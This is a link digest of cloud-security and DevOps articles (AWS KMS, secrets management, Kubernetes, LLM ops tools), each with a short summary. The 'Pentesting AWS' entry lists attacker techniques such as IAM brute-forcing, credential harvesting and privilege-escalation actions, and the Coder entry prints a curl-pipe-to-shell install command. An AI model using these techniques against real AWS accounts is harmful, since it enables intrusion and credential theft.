  • AWS KMS Threat Model
    summary

    TL;DR: Costas Kourmpoglou (Airwalk Reply) builds a threat model for AWS KMS symmetric keys, using attack trees and trust boundaries to compare AWS owned, AWS managed and customer managed keys, BYOK, CloudHSM and HYOK.

    • Key types: AWS owned keys are invisible to you. AWS managed keys are visible, but you cannot edit their policy and CloudTrail does not show their use. Customer managed keys (CMKs) give you policy control and CloudTrail visibility.
    • Hierarchy: A Domain Key stays in the HSM and encrypts the HSM Backed Key (HBK). The HBK derives data keys via GenerateDataKey, which returns a plaintext and an encrypted data key for envelope encryption.
    • Responsibility ladder: AWS shared HSM (standard KMS), then a dedicated HSM (CloudHSM), then your own HSM (HYOK). Customer responsibility grows at each step.
    • Attack tree: Covers threats from physical disk theft to an AWS Region outage. Made with deciduous.app, with diagrams in a public repo.
    • Trust boundaries: Modeled on a Lambda in a VPC encrypting data stored in another AWS service. BYOK moves responsibility for the key material and its availability to the customer.
    • Page title: The page <title> reads “AWS Threat Model”, but the article is specifically the KMS threat model.

    Takeaway: For most workloads, a CMK in standard KMS gives the useful controls (key policy, CloudTrail, revocation). BYOK and HYOK add availability risk that you must own.

  • Zero Trust Access to Private Webapps on AWS ECS with Cloudflare Tunnel
    summary

    TL;DR: Marco Lancini shows how to reach an admin Flask app running in a private subnet on ECS Fargate through Cloudflare Tunnel and Cloudflare Access, with no public exposure and no VPN, all in Terraform.

    • Motivation: AWS lacks a simple equivalent of GCP Identity-Aware Proxy, and Cognito is less streamlined. The author says the post is not sponsored.
    • Components: Cloudflare Tunnel (cloudflared opens an outbound-only connection to Cloudflare’s edge) plus Cloudflare Access applications that enforce authentication.
    • Terraform: cloudflare_zero_trust_tunnel_cloudflared with a random_password secret, cloudflare_zero_trust_tunnel_cloudflared_config ingress rules, and a proxied CNAME to <tunnel-UUID>.cfargotunnel.com.
    • Automation gotcha: Cloudflare’s docs focus on manual setup. Per a GitHub issue, the tunnel can run with only the JSON credentials file, which avoids the non-rotatable PEM certificate.
    • AWS side: The tunnel token goes in SSM Parameter Store, images in ECR, and a cloudflared sidecar container runs next to Flask in the ECS task.
    • Code: Published in marco-lancini/utils on GitHub.

    Takeaway: A reusable pattern for exposing internal tools on AWS behind SSO without an ALB or VPN. Check the Terraform resource names against the current Cloudflare provider version.

  • The Old Faithful: Why SSM Parameter Store Still Reigns over Secrets Manager
    summary

    TL;DR: Yan Cui (theburningmonk) argues that SSM Parameter Store is still the better default for most app config and secrets than Secrets Manager, on cost and simplicity, and lists when Secrets Manager is worth it.

    • Cost: Secrets Manager charges $0.40 per secret per month (plus $0.40 per replica) and $0.05 per 10,000 API calls. Standard Parameter Store parameters are free: up to 10,000 per Region, 4 KB each, 40 ops/s.
    • Throughput: Higher Throughput mode raises Parameter Store to 3,000 ops/s at $0.05 per 10,000 calls. Values should be cached, since $5 per million calls adds up.
    • Rotation: Secrets Manager rotation still needs your own Lambda and a four-step process. The author calls that overkill outside RDS, DocumentDB or Redshift credentials.
    • Bundling risk: Per-secret pricing pushes teams to group secrets together, which weakens security.
    • When to use Secrets Manager: Cross-region replication, secrets larger than 8 KB (up to 64 KB), and cross-account sharing through resource policies.
    • Portability: Middleware such as Middy makes it easy to switch later.

    Takeaway: Default to Parameter Store SecureString with caching. Move individual secrets to Secrets Manager only when you need replication, large values or cross-account access.

  • Vault Secrets Operator: A New Method for Kubernetes Integration
    summary

    (Could not fetch full text.)

    TL;DR: HashiCorp announced the Vault Secrets Operator (VSO), released as beta alongside Vault 1.13. It is a Kubernetes operator that syncs Vault secrets into native Kubernetes Secrets and can trigger actions such as rolling Deployment restarts when secrets rotate.

    • CRDs: A secret resource defines what to sync and references a VaultAuth. VaultAuth holds the login method, mount, role and ServiceAccount, and points to a VaultConnection.
    • Secret types: Static, dynamic and PKI-based secrets.
    • Auth during beta: Only the Kubernetes auth method. The operator needs read and create access to the referenced ServiceAccount to mint short-lived tokens.
    • Positioning: Unlike the agent injector (vault-k8s sidecar) or vault-csi-provider, apps consume native Secrets with no code changes.
    • Observability: A Prometheus metrics endpoint, with a Grafana dashboard planned for GA.
    • Source caveat: A Vercel browser check blocked curl. The summary is from WebFetch’s extracted text, which still worked, so details may be incomplete.

    Takeaway: VSO is HashiCorp’s answer to External Secrets for Vault-only shops. Confirm it is now GA and check its supported auth methods before choosing it.

  • ToBeReviewedBot: GitHub App to Watch for PRs Merged Without a Reviewer Approving
    summary

    TL;DR: ToBeReviewedBot was Tailscale’s GitHub App that opened an audit-trail issue whenever a PR was merged without approval, supporting a SOC 2 control that allowed emergency merges with review afterwards. It is now retired and archived.

    • Original workflow: Branch protection required PRs but not approvals. Within minutes of an unapproved merge, the bot filed an issue with a distinctive title that required follow-up review.
    • Approval heuristics: Merging someone else’s PR counted as approval, and so did an “LGTM” comment.
    • Why retired: Tailscale says growth across timezones made “nobody available to review” unlikely. Unilateral changes were a security risk, and the exception was never used for the night-time on-call case it was built for.
    • Other costs: False positives from accidental early merges, and friction in annual audits because the control was unusual.
    • Outcome: Tailscale rewrote its change control to always require approval before merge.
    • Repo status: Archived April 29, 2026, with a “no longer being developed” warning.

    Takeaway: The README is a useful case study: break-glass merge exceptions often cost more in audit and security risk than they save. Prefer required reviews with a fast emergency reviewer rotation.

  • How to Use Amazon GuardDuty and AWS WAF v2 to Automatically Block Suspicious Hosts
    summary

    TL;DR: An AWS Security Blog pattern that sends GuardDuty findings through EventBridge to a Lambda function, which adds the suspicious host’s IP to AWS WAF v2 IP sets and VPC network ACL deny entries, then emails an alert.

    • Flow: GuardDuty finding, then an EventBridge rule, then a Lambda function that updates the WAF web ACL IP sets and subnet NACLs, then an SNS email.
    • Deployment: A CloudFormation template (guarddutytoacl.template), plus Lambda zips guardduty_to_acl_lambda_wafv2.zip and prune_old_entries_wafv2.zip, from the amazon-guardduty-waf-acl GitHub repo, uploaded to a private S3 bucket.
    • Cleanup: A separate prune function removes old block entries.
    • Testing: Use the gd2acl_test_event.json test event, then confirm the NACL entry, WAF IP set entry and SNS email.
    • Region limit: The example only works in us-east-1 because it uses CloudFront and web ACLs.
    • Framing: Ties into the directive, preventive, detective and responsive controls of the AWS Security Incident Response Guide.

    Takeaway: A simple automated response loop. Remember NACLs have low rule limits and IP blocking is easy to evade, so treat it as a speed bump while you investigate.

  • AWS Cost Anomaly Detection Now Automatically Configured for All New Cost Explorer Users
    summary

    TL;DR: An AWS What’s New post (March 27, 2023): new Cost Explorer users automatically get Cost Anomaly Detection with a default service monitor and a daily email summary.

    • Default setup: An AWS services monitor plus a daily email subscription to the account’s primary email.
    • Alert threshold: Fires when actual spend is over $100 and more than 40% above expected spend.
    • Scope: Standalone accounts and management accounts that enable Cost Explorer on or after March 27, 2023.
    • Opt-out: Through the console or API.
    • Availability: All commercial Regions except GovCloud, at no extra cost.

    Takeaway: Existing accounts did not get this automatically. Check that a monitor exists and route alerts to a team channel, not just the root email.

  • AWS Resilience Hub Adds Support for Amazon EKS
    summary

    TL;DR: An AWS What’s New post (March 23, 2023): AWS Resilience Hub can now assess Amazon EKS clusters and recommend resilience improvements.

    • Onboarding: Add clusters directly or through CloudFormation, Terraform, Resource Groups or Service Catalog AppRegistry.
    • Scope: One or more clusters across Regions, with one or more namespaces each, for single-Region and cross-Region assessments.
    • What it inspects: Deployments, replicas, ReplicationControllers and pods. Supports stateless EKS workloads.
    • Also added: Assessment of EFS replication and AZ configuration, S3 Multi-Region Access Points, S3 Replication Time Control, and AWS Backup point-in-time recovery for S3.

    Takeaway: A quick way to get a second opinion on EKS workload redundancy. It only covers stateless workloads, so stateful sets still need your own review.

  • Managing etcd Database Size on Amazon EKS Clusters
    summary

    TL;DR: An AWS Containers Blog post on why EKS clusters can hit etcd’s 8 GB database limit, how to monitor it, and how to find and clean up what is filling it. The post has been updated since 2023.

    • Limit: EKS provisions 8 GB. Enforcement uses etcd_mvcc_db_total_size_in_use_in_bytes, not the physical file size metric (apiserver_storage_size_bytes since EKS 1.28).
    • Failure mode: When the limit is exceeded, etcd raises a no-space alarm and the cluster becomes read-only, rejecting creates and scaling.
    • Why it grows: MVCC keeps a full copy of each object for every revision, so frequent patches (e.g. scheduler status updates on pending pods) inflate it.
    • Detection: Search EKS audit logs with Logs Insights: filter @logStream like /kube-apiserver-audit/ | filter @message like /mvcc: database space exceeded/.
    • Find culprits: kubectl get --raw=/metrics | grep apiserver_storage_objects | awk '$2>100' | sort -g -k 2 (use etcd_object_count before 1.22).
    • Updates: An October 2023 update says EKS now runs automatic compaction and defragmentation recovery. Too many live objects still needs cleanup or EKS Provisioned Control Plane.

    Takeaway: Alert on the in-use etcd metric and on object counts by type. Runaway CRDs, Events or Secrets from controllers are the usual cause.

  • Simplify Service-to-Service Connectivity, Security, and Monitoring with Amazon VPC Lattice: Now Generally Available
    summary

    TL;DR: The AWS News Blog GA announcement (signed by Danilo) for Amazon VPC Lattice, an application-layer service network that connects, secures and monitors service-to-service traffic across VPCs and accounts.

    • New at GA: Custom domain names with matching TLS certificates, ALB and NLB as target types, IPv6 for IP targets, and the AWS Gateway API Controller for Kubernetes.
    • Demo app: An Order service (Lambda) calls Inventory (ECS behind an NLB in a dual-stack VPC), Delivery (ECS behind an ALB) and Payment (EC2), across accounts and overlapping CIDRs.
    • Auth policies: IAM-style policies on vpc-lattice-svcs:Invoke, scoped by path and conditioned on vpc-lattice-svcs:RequestMethod, e.g. GET-only on /stock.
    • Health checks: Lattice does not add its own health checks for ALB targets; it relies on the ALB’s.
    • Regions at GA: Ohio, N. Virginia, Oregon, Singapore, Sydney, Tokyo and Ireland.
    • Pricing: Per provisioned service-hour, per GB processed, and per request, with the first 300,000 requests each hour free.

    Takeaway: Consider Lattice when cross-account service calls and overlapping CIDRs make Transit Gateway plus PrivateLink painful. Model its pricing for chatty services first.

  • Scaling Kubernetes to 2,500 Nodes
    summary

    TL;DR: OpenAI’s 2018 engineering post on the problems hit while growing a Kubernetes cluster on Azure past 2,500 nodes for deep learning research, and the fixes for each.

    • etcd latency: At about 500 nodes, etcd on network SSDs used only about 10% of its IOPS because of 2 ms write latency. Moving etcd to local temp SSD cut latency to 200 us.
    • API load: Past 1,000 nodes, Fluentd and Datadog agents polling the apiservers caused more than 500 MB/s of etcd reads. They reduced polling and moved Events to a separate etcd via --etcd-servers-overrides.
    • etcd quota: Hitting the 2 GB default caused cascading node failures, and the autoscaler tried to terminate all workers. They raised --quota-backend-bytes and added an autoscaler check against terminating more than 50% of the cluster.
    • Scheduling: A bin-packing policy (MostRequestedPriority) put 10+ KubeDNS pods on some nodes and exceeded Azure’s ~200 QPS per-VM DNS limit. Fixed with pod anti-affinity.
    • Image pulls: --serialize-image-pulls=false (which needed overlay2), Docker root on local SSD, --image-pull-progress-deadline of 30 minutes, max-concurrent-downloads of 10, and preloading the gcr.io pause image to avoid per-IP quota.
    • Networking: Flannel pods maxed out at about 2 Gbit/s against 10-15 Gbit/s host to host. The post covers ways around this and also ARP cache issues.
    • Source caveat: openai.com returned 403 to direct fetches. This is based on a Wayback Machine copy. The post dates from January 2018, not 2023.

    Takeaway: Many of these lessons still apply: put etcd on low-latency disk, isolate Events, watch agents that poll the apiserver, and cap autoscaler blast radius.

  • helmify: Create Helm Charts from Kubernetes YAML
    summary

    TL;DR: Helmify, by arttor, is a Go CLI that converts Kubernetes YAML manifests or kustomize output into a Helm chart. It was designed mainly for packaging Kubernetes operators but works more generally.

    • Pipe input: cat my-app.yaml | helmify mychart creates a mychart/ chart directory.
    • File input: helmify -f /my_directory mychart, with -r for recursive scans and multiple -f flags allowed.
    • Kustomize: kustomize build | helmify mychart.
    • Operator projects: Add a helm target to an Operator-SDK or Kubebuilder Makefile that pipes $(KUSTOMIZE) build config/default | $(HELMIFY), then run make helm.
    • Compatibility: Supports Helm >= v3.6.0, and only a listed set of supported Kubernetes object kinds.

    Takeaway: Handy for a first chart from existing manifests, especially for operators. Expect to clean up the generated values.yaml and templates by hand.

  • You Broke Reddit: The Pi-Day Outage
    summary

    (Could not fetch full text.)

    TL;DR: Reddit’s engineering postmortem of its March 14, 2023 (“Pi Day”) outage, caused by a Kubernetes 1.23 to 1.24 upgrade on one of its oldest production clusters, which broke pod networking.

    • Trigger: Kubernetes 1.24 removed the node-role.kubernetes.io/master label in favor of node-role.kubernetes.io/control-plane.
    • Root cause: Calico route reflectors were selected with the old master label. After the upgrade the selector matched no nodes, route distribution failed, and pods across the cluster could no longer reach each other.
    • Snowflake config: Secondary summaries say the Calico setup was hand-configured and unique to that cluster, so testing on other clusters missed it.
    • Recovery: Kubernetes downgrades are not supported, so the team restored the cluster from backup. The cause was only found hours after the restore.
    • Duration: Secondary sources put it at about 314 minutes, roughly five hours.
    • Source caveat: Reddit blocked all fetch attempts, so this summary is based on secondary summaries (an iximiuz Labs course page and search results), not the original post.

    Takeaway: Grep every selector, policy and addon config for platform-owned labels before a Kubernetes upgrade, and rehearse full-cluster restores, not just backups.

  • copacetic: CLI Tool for Directly Patching Container Images Using Vulnerability Scanner Reports
    summary

    TL;DR: Copacetic (copa) is a Go CLI built on BuildKit that patches OS-package vulnerabilities directly in existing container images, optionally driven by a Trivy scan report, without a full rebuild.

    • How: Adds a single patch layer of updated OS packages to the image instead of rebuilding from the Dockerfile.
    • Why: Vulnerabilities inherited deep in base images, or in third-party images you do not maintain, often cannot wait for upstream releases to meet your security SLAs.
    • Benefits: Lets people other than the image publisher, such as DevSecOps engineers, patch images. It keeps existing layer hashes and caching and cuts storage and transfer costs.
    • Report-driven: Takes vulnerability scanner output such as Trivy’s to target specific packages, or updates all packages.
    • Newer support: The current README covers Ubuntu Chiseled images (/var/lib/chisel/manifest.wall, --chisel-release) and was verified with Trivy v0.69.3 in July 2026. This is far newer than the 2023 link.

    Takeaway: A useful break-glass tool for patching third-party or legacy images quickly. It only fixes OS packages, so app dependencies still need a real rebuild.

  • k8sgpt: Scan Kubernetes Clusters, Diagnose and Triage Issues in Simple English with AI
    summary

    TL;DR: K8sGPT scans Kubernetes clusters with built-in analyzers based on SRE experience, then uses an LLM to explain and triage the problems it finds in plain English. It is now a CNCF Sandbox project.

    • Analyzers: Codified checks for common workload problems. They are tested on CNCF-conformant clusters up to N-2 Kubernetes releases.
    • AI backends: OpenAI by default. The README now lists Azure, Cohere, Amazon Bedrock, Google Gemini and local models such as LocalAI.
    • CLI flow: brew install k8sgpt, k8sgpt generate (opens the OpenAI API key page), k8sgpt auth add, k8sgpt filters, then analyze.
    • Operator: k8sgpt-operator for continuous in-cluster monitoring, integrating with Prometheus and Alertmanager.
    • Security: Can connect to scanners such as Trivy to triage CVEs.
    • Source caveat: The homepage is mostly JavaScript, so details come from a Wayback Machine copy of the homepage and the GitHub README (k8sgpt-ai/k8sgpt, v0.4.41 at the time of fetching).

    Takeaway: Good for quick triage on unfamiliar clusters. Run it against a local model if sending cluster state to a hosted LLM is a concern.

  • kubectl-ai: kubectl Plugin to Generate and Apply Kubernetes Manifests Using OpenAI GPT
    summary

    TL;DR: kubectl-ai, by sozercan, is a kubectl plugin that generates Kubernetes manifests from a natural-language prompt using OpenAI GPT and, after confirmation, applies them to the cluster.

    • Motivation: The author wanted to stop hunting for random manifests while doing dev and test work.
    • Install: Homebrew (brew tap sozercan/kubectl-ai ...), Krew (kubectl krew install kubectl-ai/kubectl-ai), or a release binary.
    • Backends: OpenAI API key, Azure OpenAI (with AZURE_OPENAI_MAP for deployment names), or any OpenAI-compatible endpoint such as AIKit or LocalAI.
    • Config: OPENAI_API_KEY, OPENAI_DEPLOYMENT_NAME, OPENAI_ENDPOINT.
    • Local example: docker run -d --rm -p 8080:8080 ghcr.io/sozercan/llama3.1:8b as a CPU-only local endpoint.
    • Safety: --require-confirmation (or REQUIRE_CONFIRMATION) controls whether you are prompted before applying.

    Takeaway: Fine for scaffolding throwaway test manifests. Always review the output before applying it, and never point it at production with confirmation turned off.

  • Announcing the GitHub Actions Extension for VS Code
    summary

    TL;DR: GitHub announced the official GitHub Actions extension for VS Code (March 2023). It grew from a community project and is now maintained by GitHub, adding workflow authoring help and run management in the editor.

    • Run management: Monitor, cancel, re-run and manually trigger workflows. Drill down from runs to jobs, steps and logs. A Current Branch view shows results for the checked-out branch.
    • Secrets and variables: List them at org, repo and environment level, and edit repo and environment ones with the right permissions.
    • Authoring: Uses the official Actions schema and a new expressions parser, with syntax highlighting, inline docs, validation and completion.
    • Smart validation: Catches bad job and step references, and knows the event payload shape for each trigger (e.g. a pull_request payload).
    • Referenced actions: Parses inputs and outputs of referenced actions and reusable workflows for completion and validation.
    • Upgrade: Existing community extension installs upgrade automatically.

    Takeaway: Install it to catch broken needs, outputs and expression typos before you push, which cuts down on trial-and-error CI commits.

  • aiac: Artificial Intelligence Infrastructure-as-Code Generator
    summary

    TL;DR: aiac, from Firefly, is a CLI and Go library that asks an LLM to generate IaC templates, config files, CI pipelines, policies, scripts and queries from a short prompt.

    • Providers: OpenAI, Amazon Bedrock and Ollama, with multiple named backends in a config file.
    • IaC examples: aiac terraform for a highly available eks, aiac pulumi golang for an s3 with sns notification, aiac cloudformation for a neptundb.
    • Other outputs: Dockerfiles, Kubernetes manifests, Jenkins and GitHub Actions pipelines, OPA policies (aiac opa policy that enforces readiness probe at k8s deployments), and bash or python utilities.
    • Builders: CLI one-liners (aiac kubectl that gets ExternalIPs of all nodes) and Mongo, Elastic or SQL queries.
    • Usage: Saves output to a file and/or prints it. Runs via Docker or as a library.
    • Repo status: The README covers an upgrade from v4 to v5 with configuration changes, so the 2023 CLI syntax has changed.

    Takeaway: Useful for scaffolding boilerplate. Treat generated Terraform and policies as drafts to review and scan with tools like tfsec or checkov.

  • Automate IAM Credential Reports for Large AWS Organizations
    summary

    TL;DR: An AWS Infrastructure & Automation blog solution that generates IAM credential reports in parallel across every account in a large AWS Organization and collects them into one S3 bucket for auditing.

    • Report contents: All IAM users and the status of their passwords, access keys and MFA devices.
    • Orchestration: An EventBridge rule starts a Step Functions state machine. One Lambda lists account IDs from Organizations, and another assumes a role in each account and generates the report.
    • Cost trick: Step Functions waits 1 minute between status checks instead of keeping a Lambda running, up to 45 cycles, then sends an SNS email on timeout.
    • Cross-account role: Deployed into all member accounts with a CloudFormation StackSet.
    • Deploy: AWS SAM from aws-samples/automating-iam-credential-reports-for-large-aws-organizations, using the root ID (aws organizations list-roots) and org ID (aws organizations describe-organization).
    • Effort: About 15 minutes and about $1, per the post. An alternative deployment stores reports in a separate security account.

    Takeaway: A cheap way to find stale IAM users and keys across many accounts. Prefer the variant that writes to a security or logging account rather than the management account.

  • Exploring Amazon VPC Lattice
    summary

    TL;DR: A One Cloud Please blog post that takes a hands-on look at Amazon VPC Lattice at GA, explaining how it works at the network level and building a Lambda-to-Lambda example in CloudFormation.

    • Mechanism: Unlike PrivateLink, which puts ENIs in your subnets, Lattice exposes services on link-local addresses in 169.254.171.0/24 (plus an IPv6 equivalent).
    • Other link-local endpoints: IMDS at 169.254.169.254, the Route 53 Resolver at .253, ECS task metadata at 169.254.170.2, and Time Sync at .123.
    • Gotcha: Unlike those, Lattice traffic must be allowed by security groups and NACLs. Use the managed prefix list rather than the raw range, since the range may change.
    • Targets: EC2 instances, IPv4 and IPv6 IPs, Lambda functions and ALBs. An EKS target type was in private beta.
    • CloudFormation: Uses AWS::VpcLattice::ServiceNetwork, ServiceNetworkVpcAssociation, Service, Listener (HTTPS 443) and TargetGroup (type LAMBDA). The target group adds the Lambda permission automatically.
    • Routing: Associating the VPC with the service network adds route table entries for the Lattice range.

    Takeaway: Read this before troubleshooting Lattice connectivity. Most “it times out” problems come from security groups not allowing the Lattice prefix list.

  • Welcome to the Jungle: Pentesting AWS
    summary

    TL;DR: A slide deck by Mike Felch (@ustayready, BHIS red team) on a methodology for pentesting AWS in depth and at scale, from scoping and initial access through privilege escalation and data exfiltration.

    • Recon and scanning: ScoutSuite, aws_list_all and the AWS CLI. Verify ScoutSuite findings by hand, since policies can produce false positives.
    • External surface: Elastic IPs, load balancers, RDS endpoints, API Gateway and Beanstalk, scanned with Nmap, GoWitness and Ffuf/Dirbuster. IAM users can be brute-forced because IAM has no lockout.
    • Lateral movement: Credentials in EC2 user data, Lambda environment variables, CloudFormation parameters, CodeBuild variables and SSM Parameter Store.
    • Privilege escalation: CreatePolicyVersion, AttachUserPolicy, PutRolePolicy, SetDefaultPolicyVersion, UpdateAssumeRolePolicy, PassRole, plus IMDSv1 abuse and Cognito identity pools.
    • Exfiltration and scale: Public AMIs and EBS snapshots, S3 discovery, ScoutSuite looped over hundreds of accounts with jq, and the author’s Outpost and CloudGPT tools.
    • Source caveat: SlideShare blocked curl. Content is from WebFetch’s text extraction of the slides.

    Takeaway: A compact checklist for AWS assessments. On the defense side, it says block 169.254.169.254 from web apps, avoid PassRole on *, and avoid NotAction with Allow.

  • We Put GPT-4 in Semgrep to Point Out False Positives & Fix Code
    summary

    TL;DR: Bence Nagy (Semgrep, April 2023) describes adding GPT-4 to Semgrep’s cloud service to triage findings as likely false positives before notifying developers, and to suggest autofixes.

    • Problem: SAST false positive rates across vendors are cited at 10-50%, and junior developers struggle to triage alerts.
    • Triage approach: About 3,000 tokens of context (code, rule, PR) go to GPT-4, which explains why a finding is safe, e.g. an obvious placeholder password or an over-broad custom rule.
    • Autofix results: On internal projects, AI fixes were accepted as-is about 40% of the time and were a good starting point another 40%. The goal is 90%+ directly committable.
    • Model chaining: Pairing GPT-4 with code-davinci-edit-001 caused unrelated edits or wrong assumptions, so they settled on GPT-4 alone.
    • Where AI helps: Fixes that depend on local context, and convention rules such as log message formats, which declarative autofix patterns cannot express.
    • Status: Private beta invites were planned from April 6, 2023.

    Takeaway: LLM triage is most useful for noisy custom rules. Keep deterministic rule-based autofixes where they exist, and review AI fixes like any other PR.

  • 69 Ways to Fuck Up Your Deploy
    summary

    TL;DR: Kelly Shortridge and Ryan Petrich wrote a long, deliberately profane list of 69 ways deployments go wrong, grouped into 10 themes plus manual deploys, covering both immediate breakage and traps for later.

    • Themes: Identity Crisis (permissions), Loggers and Monitaurs, Deployment Mismatches, Configuration Tarnation, Statefulness is Hard, Net-not-working, Rolls and Reboots, Disorganized Organization, Business Illogic, The Audacity of Spacetime, and Manual Deploys.
    • #1 Allow all access: allow * hides which services and data an app really uses and widens the blast radius.
    • #2-3 Keys: Plaintext keys, or keys in a KMS that every engineer can read anyway.
    • #4 No authorization on production builds: GitOps setups where any branch push can turn into an accidental production release.
    • Framing: Each item explains the shortcut’s appeal, then the later cost, for both reliability and security.

    Takeaway: Use it as a pre-mortem checklist for your pipeline. Read the themes that match your last incident and see which items you still do.

  • Intro to Forensics in the Cloud: A Container Was Compromised. What’s Next?
    summary

    TL;DR: A Wiz blog introduction to cloud DFIR covering how it differs from endpoint forensics, a cheat sheet of log sources and tools to set up in advance, and a walkthrough of investigating a compromised container.

    • Guiding questions: Initial access point, lateral spread, persistence, impact, and prevention.
    • Cloud vs endpoint: Cloud architecture (VMs, containers, serverless, identities) differs, and attacker goals differ too. Cloud attacks are mostly resource hijacking (e.g. mass EC2 creation) or access to sensitive data.
    • Five sources: Cloud provider audit logs (CloudTrail, GCP Cloud Audit Logs, Azure sign-in, audit, activity and resource logs), VPC flow logs, orchestration logs (Kubernetes audit), workload image snapshots, and runtime events.
    • Gotcha: Traffic to IMDS appears in provider logs, not in VPC flow logs.
    • Preparation: Logs and tooling must exist before the attack, or the investigation has blind spots.

    Takeaway: Check now that CloudTrail, flow logs and Kubernetes audit logs are on and kept long enough, and that you can snapshot a running container’s disk.

  • auth: GitHub Action for Authenticating to Google Cloud
    summary

    TL;DR: google-github-actions/auth is the GitHub Action for authenticating workflows to Google Cloud. Workload Identity Federation (WIF) through GitHub OIDC is preferred over service account key JSON.

    • Three modes: Direct WIF (preferred), WIF through service account impersonation, or a service account key JSON.
    • Usage: Set job permissions: id-token: write (plus contents: read), run checkout first, then google-github-actions/auth@v3 with workload_identity_provider: projects/<num>/locations/global/workloadIdentityPools/<pool>/providers/<provider>.
    • Gotchas: Add gha-creds-*.json to .gitignore and .dockerignore. gsutil does not use the exported credentials, so use gcloud storage.
    • Token lifetime: GitHub OIDC tokens expire in 5 minutes, so derived credentials do too, per the README at time of writing.
    • Limits: WIF is not supported by the Firebase Admin SDK. The README says this is not an officially supported Google product.
    • Repo status: Now at @v3 on Node 24, newer than the 2023 link.

    Takeaway: Drop exported service account keys from GitHub secrets and switch to direct WIF, scoping the provider’s attribute condition to specific repos and branches.

  • Create a Dry-Run Organization Policy
    summary

    TL;DR: Google Cloud documentation for running organization policies in dry-run mode, where violations are audit-logged but not denied, so you can see the impact of a constraint before enforcing it.

    • Behavior: A dry-run policy is created like a normal one and violations are logged, but the actions go through.
    • Supported constraints: Only custom constraints, managed constraints, and some legacy managed ones (restrict service usage, endpoint usage, TLS versions, TLS cipher suites).
    • Roles: roles/orgpolicy.policyAdmin, plus roles/logging.configWriter for aggregated log sinks. Billing must be enabled.
    • Example: Dry-run compute.managed.restrictProtocolForwardingCreationForTypes with value EXTERNAL in the console Dry run tab, or with gcloud org-policies set-policy and a dryRunSpec.
    • Related: The Policy Simulator (“Test changes”) can preview impact too.
    • Page status: The URL now leads to a page titled “Test organization policies”, so the doc has been reorganized since 2023.

    Takeaway: Roll out every new org constraint in dry-run first, and watch the audit logs for a week or so before switching to enforcement.

  • New: Self-Service Provisioning of Terraform Open-Source Configurations with AWS Service Catalog
    summary

    TL;DR: An AWS News Blog launch post: AWS Service Catalog can now offer Terraform configurations as products alongside CloudFormation, so end users can self-provision approved Terraform stacks with central governance.

    • Setup: Install the AWS-provided Terraform Reference Engine once in the Service Catalog management account, e.g. ./deploy-tre.sh -r us-east-1.
    • Example product: A main.tf creating a Graviton t4g.large EC2 instance on Amazon Linux 2023, uploaded as a product version.
    • Governance: Hub-and-spoke portfolio sharing from one management account to up to thousands of user accounts, with least-privilege provisioning and tag governance.
    • User experience: End users provision CloudFormation or Terraform products the same way, in a single action.
    • Post update: The post now notes that Terraform moved to the Business Source License (now “Terraform Community”), and the “Terraform open source” product type is now called “External”.

    Takeaway: Useful if platform teams already have Terraform modules and want a self-service catalog without rewriting them in CloudFormation. Use the “External” product type now.

  • Announcing Policy Validations During Synthesis Time with AWS Cloud Development Kit (CDK)
    summary

    TL;DR: An AWS What’s New post (April 3, 2023): AWS CDK can run policy-as-code validation plugins automatically after synthesis, starting with a CloudFormation Guard plugin.

    • Plugin: CfnGuardValidator runs AWS CloudFormation Guard rules against the synthesized templates.
    • Built-in rules: Ships with a predefined set of AWS Control Tower proactive controls.
    • Report: An allow or deny summary, with misconfiguration details, root-cause analysis and mitigation suggestions for each violation.
    • Extensible: You can write plugins for other tools, with KICS, OPA and Checkov named as examples.
    • Benefit: Feedback during development rather than at deploy time, so fewer failed deployments.

    Takeaway: Add the Guard validator to CDK apps so policy violations fail cdk synth locally and in CI, before CloudFormation or Control Tower hooks reject them.

  • The Smallest Go Binary (5KB)
    summary

    TL;DR: TotallyGamerJet describes shrinking a macOS arm64 Go binary from hundreds of KB to 5 KB, first with the Go assembler and linker directly and then by stripping the Go runtime with go build -overlay.

    • Baseline: Usual size flags only get an empty main down to 863 KB.
    • Assembly attempt: A hello world in Go assembler. GLOBL needs the RODATA flag (8), and assembling needs -p main. Linking alone with go tool link -E _start fails with “not package main”.
    • Runtime replacement: Uses an -overlay JSON file to swap the Go 1.20.1 runtime source files for empty ones.
    • Obstacle: Removing everything triggers linker errors such as “unreachable sym in relocation”. Compiler and linker share metadata (moduledata), so parts must stay.
    • Scope: All examples are macOS arm64 only. The motivation was writing a C compiler in Go.

    Takeaway: A fun deep dive into how tightly Go’s compiler, linker and runtime are coupled. It is not a practical size-optimization recipe for production binaries.

  • coder: Provision Remote Development Environments via Terraform
    summary

    TL;DR: Coder is a self-hosted platform for cloud development environments, defined as Terraform templates (VMs, Kubernetes pods or Docker containers), connected over a WireGuard tunnel and shut down automatically when idle.

    • Templates: Workspaces are written in Terraform and can target EC2, Kubernetes, Docker and more.
    • Cost control: Idle workspaces shut down automatically.
    • Quickstart: curl -fsSL https://coder.com/install.sh | sh, then coder server and open http://localhost:3000.
    • Production: coder server --postgres-url <url> --access-url <url> with PostgreSQL 13+. Without these flags it uses a built-in DB and a *.try.coder.app URL.
    • Repo status: The README now also promotes “Coder Agents” and an AI Gateway: AI coding agents running on your own infrastructure, with no LLM keys in workspaces and central audit and cost tracking. This is newer than the 2023 link.
    • Licensing: Some features sit in a Premium tier.

    Takeaway: Good fit when you want reproducible, ephemeral dev environments using the Terraform skills the team already has. Budget for running Postgres and the control plane yourself.

31.03.2023

  • Kali Purple: Leveling the Playing Field
    summary

    TL;DR: The Kali Purple wiki home page describes Kali Purple as the Kali team’s effort to make defensive, SOC-grade security tooling as accessible as Kali Linux made offensive tooling.

    • Tooling: Over 100 defensive tools, including Arkime, CyberChef, Elasticsearch SIEM, GVM, TheHive, Malcolm, Suricata and Zeek, plus the usual Kali tools.
    • ISOs: Kali Purple, plus Malcolm and Hedgehog builds based on Kali.
    • Menu structure: Organized by the NIST CSF functions Identify, Protect, Detect, Respond and Recover.
    • SOC-in-a-box: A reference architecture for learning, SOC analysis and threat-hunting practice, control testing, and blue, red or purple team exercises.
    • Kali Autopilot: An attack script builder for automated attacks used in blue-team exercises.
    • Community: A Kali Purple Hub for sharing practice pcaps and Autopilot scripts, plus Discord channels.
    • Source caveat: The GitLab page needs JavaScript, so content was read through the GitLab wiki API.

    Takeaway: A fast way to stand up a home lab SIEM and IDS stack for purple-team practice. It is a learning platform, not a hardened production SOC.

  • BlueHat 2023
    summary

    (Could not fetch full text.)

    TL;DR: The YouTube playlist of session recordings from Microsoft’s BlueHat 2023 security conference, run by MSRC in Redmond, WA on February 8-9, 2023.

